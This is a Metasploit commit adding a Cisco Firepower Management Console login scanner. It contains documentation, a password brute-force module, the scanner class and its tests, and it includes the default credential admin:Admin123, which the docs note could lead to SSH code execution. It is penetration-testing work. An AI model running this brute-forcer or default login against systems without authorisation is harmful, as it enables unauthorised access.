Land #7827, Cisco Firepower Management Console LoginScanner

bug/bundler_fix
Brent Cook 2017-01-27 16:26:40 -06:00
commit 4480ea7877
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
4 changed files with 316 additions and 0 deletions

View File

@ -0,0 +1,25 @@
This module allows you to authenticate to Cisco Firepower Management console. The found credentials
could also be used in Cisco Firepower's SSH service, which would potentially give you remote code
execution.
## Vulnerable Application
The vulnerable software can be downloaded from Cisco as long as you are a member. Specifically,
this module was testing on version 6.0.1 during development.
For Cisco members, get the virtual appliance 6.0.1-2013 here:
https://software.cisco.com/download/release.html?mdfid=286259687&softwareid=286271056&release=6.0.1&flowid=54052
## Verification Steps
1. Make sure Cisco Firepower Management console's HTTPS service is running
2. Start ```msfconsole```
3. ```use auxiliary/scanner/http/cisco_firepower_login.rb
4. ```set RHOSTS [IP]```
5. Set credentials
6. ```run```
7. You should see that the module is attempting to log in.

View File

@ -0,0 +1,80 @@
require 'metasploit/framework/login_scanner/http'
require 'digest'
module Metasploit
module Framework
module LoginScanner
class CiscoFirepower < HTTP
DEFAULT_PORT = 443
PRIVATE_TYPES = [ :password ]
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
def check_setup
res = send_request({
'method' => 'GET',
'uri' => normalize_uri("#{uri}login.cgi")
})
if res && res.code == 200 && res.body.include?('/img/favicon.png?v=6.0.1-1213')
return true
end
false
end
def do_login(cred)
console_user = cred.public
console_pass = cred.private
res = send_request({
'method' => 'POST',
'uri' => normalize_uri("#{uri}login.cgi"),
'vars_post' => {
'username' => console_user,
'password' => console_pass,
'target' => ''
}
})
unless res
return {status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: 'Connection timed out for login.cig'}
end
if res.code == 302 && res.get_cookies.include?('CGISESSID')
return {status: LOGIN_STATUS::SUCCESSFUL, proof: res.body}
end
{status: LOGIN_STATUS::INCORRECT, proof: res.body}
end
# Attempts to login to Cisco. This is called first.
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin
result_opts.merge!(do_login(credential))
rescue ::Rex::ConnectionError => e
# Something went wrong during login. 'e' knows what's up.
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
end
Result.new(result_opts)
end
end
end
end
end

View File

@ -0,0 +1,143 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/login_scanner/cisco_firepower'
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Cisco Firepower Management Console 6.0 Login',
'Description' => %q{
This module attempts to authenticate to a Cisco Firepower Management console via HTTPS.
The credentials are also used for SSH, which could allow remote code execution.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true,
'SSLVersion' => 'Auto'
}
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),
OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:Admin123', false])
], self.class)
end
def scanner(ip)
@scanner ||= lambda {
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
if datastore['TRYDEFAULT']
print_status("Default credential admin:Admin123 added to the credential queue for testing.")
cred_collection.add_public('admin')
cred_collection.add_private('Admin123')
end
return Metasploit::Framework::LoginScanner::CiscoFirepower.new(
configure_http_login_scanner(
host: ip,
port: datastore['RPORT'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
http_username: datastore['HttpUsername'],
http_password: datastore['HttpPassword'],
uri: target_uri.path
))
}.call
end
def report_good_cred(ip, port, result)
service_data = {
address: ip,
port: port,
service_name: 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
username: result.credential.public,
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
last_attempted_at: DateTime.now,
status: result.status,
proof: result.proof
}.merge(service_data)
create_credential_login(login_data)
end
def report_bad_cred(ip, rport, result)
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status,
proof: result.proof
)
end
def bruteforce(ip)
scanner(ip).scan! do |result|
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
report_good_cred(ip, rport, result)
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
report_bad_cred(ip, rport, result)
when Metasploit::Model::Login::Status::INCORRECT
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
report_bad_cred(ip, rport, result)
end
end
end
def run_host(ip)
unless scanner(ip).check_setup
print_brute(:level => :error, :ip => ip, :msg => 'Target is not Cisco Firepower Management console.')
return
end
bruteforce(ip)
end
end

View File

@ -0,0 +1,68 @@
require 'spec_helper'
require 'metasploit/framework/login_scanner/cisco_firepower'
RSpec.describe Metasploit::Framework::LoginScanner::CiscoFirepower do
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
subject do
described_class.new
end
let(:successful_auth_response) do
res = Rex::Proto::Http::Response.new(302, 'Found')
res.headers['Location'] = '/'
res.headers['Set-Cookie'] = 'CGISESSID=NEWSESSIONID;'
res
end
let(:fail_auth_response) do
Rex::Proto::Http::Response.new(200, 'OK')
end
describe '#attempt_login' do
context 'when the credential is valid' do
let(:username) { 'user' }
let(:password) { 'goddpass' }
before do
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(successful_auth_response)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
end
it 'returns a Result object indicating a successful login' do
cred = Metasploit::Framework::Credential.new(public: username, private: password)
result = subject.attempt_login(cred)
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
end
end
context 'when the credential is invalid' do
let(:username) { 'admin' }
let(:password) { 'badpass' }
before(:example) do
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(fail_auth_response)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
end
it 'returns a Result object indicating a failed login' do
cred = Metasploit::Framework::Credential.new(public: username, private: password)
result = subject.attempt_login(cred)
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
expect(result.status).to eq(Metasploit::Model::Login::Status::INCORRECT)
end
end
end
end